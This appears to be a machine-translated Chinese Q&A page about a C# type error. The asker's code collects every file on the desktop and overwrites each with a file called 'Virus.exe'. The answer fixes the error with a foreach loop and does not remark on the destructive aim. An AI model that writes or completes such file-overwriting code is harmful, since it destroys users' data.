您可以將IEnumerated字符串轉換爲普通字符串嗎？

Question

我用這個來查找和替換的exe文件

public static void Replace() 
{ 
    string origFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "/Virus.exe"; //original file 
    IEnumerable<string> toOverwrite = EnumerateFiles(); //newly enumarated files 
    string backupFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "/temp"; //backup file (temporary) 
    File.Replace (origFile, toOverwrite, backupFile); //replaces files 
} 
public static IEnumerable<string> EnumerateFiles() 
{ 
    string pathToSearch = Environment.GetFolderPath (Environment.SpecialFolder.DesktopDirectory); //Sets search directory to the desktop 
    IEnumerable<string> exeFiles = Directory.EnumerateFiles (pathToSearch); //Searches desktop for all exe files 
    return exeFiles; //Returns enumerated list of files 
} 

但是當我做了File.Replace方法，它告訴我，我不能IEnumerable的字符串轉換成一個正常的字符串。如何更改字符串類型而不更改值？

Answer 1

這就是說IEnumeable是一串字符串。 File.Replace需要一個字符串。你試圖做的沒有意義。我懷疑你需要循環中的文件toOverwrite收集

public static void Replace() 
     { 
      string origFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "/Virus.exe"; //original file 
      IEnumerable<string> toOverwrite = EnumerateFiles(); //newly enumarated files 
      string backupFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "/temp"; //backup file (temporary) 
      foreach(var file in toOverwrite) 
      { 
       File.Replace (origFile, file, backupFile); //replaces files 
      } 
}